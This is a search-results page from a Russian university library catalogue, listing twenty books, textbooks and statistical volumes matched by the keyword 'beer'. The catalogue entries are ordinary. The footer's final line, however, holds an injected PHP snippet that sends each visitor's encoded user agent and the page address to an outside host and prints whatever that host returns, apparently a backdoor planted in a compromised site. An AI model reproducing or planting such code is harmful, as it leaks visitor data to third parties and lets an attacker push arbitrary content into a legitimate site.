Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

303 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ПИВО")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 39
1. 
Кулькова Л. В. Приготовление коктейлей и других смешанных напитков [Текст] : Учеб. пособие / Л. В. Кулькова, 2002. - 376 с.
2. 
Шепелев А. Ф. Товароведение и экспертиза вкусовых и алкогольных товаров [Текст] : Учеб. пособие для студ. высш. учеб. заведений / А. Ф. Шепелев, К. Р. Мхитарян. - 205 с.
3. 
Митвайс, Ирина Ивановна. Товароведение вкусовых товаров [Текст] : Уч.пособие / И. И. Митвайс, 2002. - 480 с.
4. 
Коробкина, Зоя Васильевна. Товароведение и экспертиза вкусовых товаров [Текст] : Учебник гриф-МО / З. В. Коробкина, С. А. Страхова, 2003. - 352 с.
5. 
Большая энциклопедия дома и семьи. В 2 т. Т.1. Семья. Жилище. Ребенок. Питание. Здоровье, спорт, отдых. Одежда, обувь, индивидуальный стиль [Текст] : энциклопедия, 2000. - 479 с.
6. 
Веселов С. В. Потребительский и рекламный рынки России: анализ взаимосвязи, состояния и перспектив развития [Текст] / С. В. Веселов, В. А. Музыко, А. В. Столярова, 2013. - 668 с.
Держатели документа (Информация об экземплярах) 
7. 
Экспертиза продовольственных товаров: Лабораторный практикум [Текст] / сост. Ю. И. Сидоренко [и др.] ; ред. Ю. И. Сидоренко, 2013. - 180, [1] с.
Держатели документа (Информация об экземплярах) 

В лабораторном практикуме изложены методы экспертизы качества основных групп продовольственных товаров, сгруппированных согласно учебной товароведческой классификации.

Приведены примеры экспертизы основных видов продовольственных товаров в каждой товароведческой группе. Рассмотрены нормативная база, состоящая из основных нормативных документов, относящихся к данной товароведческой группе, основные термины и определения, касающиеся технологии и оборота товаров данной товароведческой группы. Приведены основные методы оценки по органолептическим и физико-химическим показателям товаров.

Лабораторный практикум предназначен для студентов, обучающихся по специальностям 260504.65 "Технология консервов и пищеконцентратов", 260505.65 "Технология детского и функционального питания" и 260503.65 "Технология субтропических и пищевкуковых продуктов".

8. 
Вытовтов, Анатолий Андреевич. Товароведение и экспертиза вкусовых товаров [Текст] / А. А. Вытовтов, 2013. - 574, [1] с.
Держатели документа (Информация об экземплярах) 

Учебник написан с учетом требований Федерального закона "О техническом регулировании" общих и специальных технических регламентов, других нормативных документов. Рассмотрены потребительская ценность, классификация, основы технологии, фальсификация, требования к упаковке, маркировке, условиям хранения, требованиям к показателям качества и безопасности, оценка соответствия, экспертиза различных групп и видов вкусовых товаров.

Для студентов высших и средних профессиональных образовательных учреждений, обучающихся по специальности "Товароведение и экспертиза товаров", слушателей системы повышения квалификации, а также практических работников.

9. 
Круз, Андрей. Холод, пиво, дробовик [Текст] / А. Круз, П. Н. Корнев ; дар. О. Н. Геншель, 2015. - 378, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
10. 
Коркин, Андрей Владимирович. Административная ответственность за административные правонарушения, предусмотренные статьями 20.20, 20.21 КоАП РФ [Текст] : учеб. пособие / А. В. Коркин, Е. В. Елфимова, 2011. - 37 с.
Держатели документа (Информация об экземплярах) 
11. 
Территориальные единичные расценки на монтаж оборудования. Омская область [Текст]. Ч. 28 : Оборудование предприятий пищевой промышленности, 2010. - 56 с.
Ключевые слова 
ТЕРм 81-03-28-2001 -- СМЕТНЫЙ -- НОРМАТИВ -- ДОЗИРОВАНИЕ -- МУКА -- СМЕШИВАНИЕ -- ПРИГОТОВЛЕНИЕ -- ДРОЖЖИ -- ДЕЖИ -- ТЕСТО -- СУШИЛКА -- СУХАРЬ -- РАСФАСОВКА -- САХАР -- МОЙКА -- МЕШАЛКА -- ЛОВУШКА -- ФИЛЬТРАЦИОННОЕ -- ВОДООТДЕЛИТЕЛЬ -- ВОДООТВОДЧИК -- ПРЕСС -- ДИФФУЗИОННОЕ -- ПЕЧЬ -- РАЗДЕЛКА -- ТУША -- ЛЬДОГЕНЕРАТОР -- ПОСОЛЬНОЕ -- РЕЗЕРВУАР -- МОЛОКО -- ТЕРМООБРАБОТКА -- СЛИВКИ -- МАСЛО -- СЫР -- МОРОЖЕНОЕ -- КАЗЕИН -- ДРОБИЛКА -- УКУПОРКА -- МАКАРОНЫ -- КОНФЕТЫ -- ВИНОГРАД -- СПИРТ -- ПИВО -- ТАБАК -- ЧАЙ -- КАРТОНАЖНЫЕ -- ОБЩЕСТВЕННОЕ -- ПИТАНИЕ -- ЖЕСТЯНАЯ -- ТАРА -- СОЛОД -- СУСЛО
Держатели документа (Информация об экземплярах) 
12. 
Право на пиво [Текст] : [сб. фантаст. рассказов] / авт. предисл. В. Васильев, 2005. - 349, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
13. 
Моэм, Уильям Сомерсет. Собрание сочинений [Текст] : в 5 т.: пер. с англ. Т. 2 : Луна и грош : романы, 1991. - 569, [2] с.
Оглавление 
  • Пироги и пиво, или Скелет в шкафу
  • Театр
Держатели документа (Информация об экземплярах) 
14. 
Качество в истории цивилизации. Эволюция, тенденции и перспективы управления качеством [Текст] : в 3 т. / под ред. Дж. Джурана ; пер. с англ. О. В. Замятиной, Я. А. Лева. Т. 2, 2004. - 207 с.
Держатели документа (Информация об экземплярах) 
15. 
Галкин, Юрий Федорович. Красная лодка [Текст] : [повести] / Юрий Галкин, 1974. - 318, [2] с.
Оглавление 
  • Будний круг
  • Кто там стучит?
  • Беглецы
  • При свете ночи
  • Пиво на дорогу
Держатели документа (Информация об экземплярах) 
16. 
Токарев, Иван Анисимович. Малаховские журавли [Текст] : повести и рассказы / Иван Токарев ; сост.: А. Э. Лейфер, М. П. Малиновский, 1983. - 253, [2] с.
Оглавление 
  • За лесом - люди
  • Домашнее пиво
Держатели документа (Информация об экземплярах) 
17. 
Применение холода в пищевой промышленности. Холод в рыбной и пищевой промышленности [Текст] : справочник / сост.: Н. Я. Барулин [и др.], 1979. - 150, [1] с.
Держатели документа (Информация об экземплярах) 
18. 
Россия и страны мира, 2010 [Текст] : стат. сб. / Федер. служба гос. статистики, 2010. - 372 с.
Ключевые слова 
ЭКОНОМИКА -- ЗЕМЕЛЬНАЯ -- ПЛОЩАДЬ -- ЭНЕРГОРЕСУРС -- ВАЛЮТА -- МЕЖДУНАРОДНОЕ -- ОБЪЕДИНЕНИЕ -- ОРГАНИЗАЦИЯ -- НАСЕЛЕНИЕ -- ЧИСЛЕННОСТЬ -- МУЖЧИНА -- ЖЕНЩИНА -- РОЖДАЕМОСТЬ -- СМЕРТНОСТЬ -- БРАК -- РАЗВОД -- АКТИВНОСТЬ -- ЗАНЯТОСТЬ -- БЕЗРАБОТНОСТЬ -- ВВП -- ВАЛОВОЙ -- ВНУТРЕННИЙ -- ПРОДУКТ -- УРОВЕНЬ ЖИЗНИ -- ЗАРПЛАТА -- ЗАРАБОТНАЯ -- ПЛАТА -- БЕДНОСТЬ -- ЦЕНА -- ТОРГОВЛЯ -- ПОТРЕБЛЕНИЕ -- ПРОДУКТ -- ОБРАЗОВАНИЕ -- ЗДРАВООХРАНЕНИЕ -- ЗАБОЛЕВАНИЕ -- МЕДИЦИНА -- ПРОИЗВОДСТВО -- ПРОМЫШЛЕННОЕ -- ПРОМЫШЛЕННОСТЬ -- ДОБЫЧА -- УГОЛЬ -- НЕФТЬ -- ГАЗ -- РУДА -- ЖЕЛЕЗНАЯ -- САХАР -- МАСЛО -- ТКАНЬ -- СИГАРЕТА -- ПИВО -- ОБУВЬ -- БУМАГА -- БЕНЗИН -- УДОБРЕНИЕ -- ЦЕМЕНТ -- ЧУГУН -- СТАЛЬ -- СТАНОК -- АВТОМОБИЛЬ -- ЭЛЕКТРОБЫТОВАЯ -- ТЕХНИКА -- ТЕЛЕФОН -- ЭЛЕКТРОЭНЕРГИЯ -- ХОЗЯЙСТВО -- СЕЛЬСКОЕ -- ЛЕСНОЕ -- РЫБОЛОВСТВО -- ЗЕРНО -- УРОЖАЙНОСТЬ -- ПШЕНИЦА -- СВЕКЛА -- ПОДСОЛНЕЧНИК -- КАРТОФЕЛЬ -- ОВОЩИ -- ФРУКТЫ -- СКОТ -- ПТИЦА -- МОЛОКО -- РЫБА -- ТРАНСПОРТ -- СВЯЗЬ -- ИНФОРМАТИЗАЦИЯ -- СРЕДА -- ОКРУЖАЮЩАЯ -- ЗЕМЛЯ -- ВОДА -- ПОЖАР -- ЗАГРЯЗНЕНИЕ -- ФИНАНСЫ -- ДЕНЕЖНОЕ -- ОБРАЩЕНИЕ -- ДОХОД -- РАСХОД -- БЮДЖЕТ -- НАУКА -- ТЕХНОЛОГИЯ -- ИЗОБРЕТЕНИЕ -- ДЕЛОВАЯ -- ВНЕШНЕЭКОНОМИЧЕСКАЯ -- ПЛАТЕЖНЫЙ -- БАЛАНС -- ЭКСПОРТ -- ИМПОРТ -- ИНВЕСТИЦИЯ
19. 
Токарев, Иван Анисимович. У тальников, близ дороги [Текст] : повести, рассказы / Иван Токарев, 1979. - 252, [2] с.
Оглавление 
  • За лесом - люди
  • Домашнее пиво
Держатели документа (Информация об экземплярах) 
20. 
Чепурной, Иван Петрович. Товароведение и экспертиза вкусовых товаров [Текст] : Учеб. для вузов по специальности "Товароведение и экспертиза товаров" / И. П. Чепурной, 2002. - 402, [1] с.

Вкусовые товары включают очень разнообразные по составу и свойствам <продовольственные> товары: <чай> и <кофе>, <пряности> и <приправы>, <безалкогольные> и <алкогольные> <напитки>. В данной книге представлены достаточно полные сведения о классификации этих групп товаров, приводятся факторы, формирующие и сохраняющие их <качество>.

Впервые приводятся методологические подходы к проведению экспертизы этой группы товаров с использованием как современных методов анализа, так и оригинальных экспресс-методов.



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3215 - 29.03.2020
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.83 с.12 запросов, 0.56c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;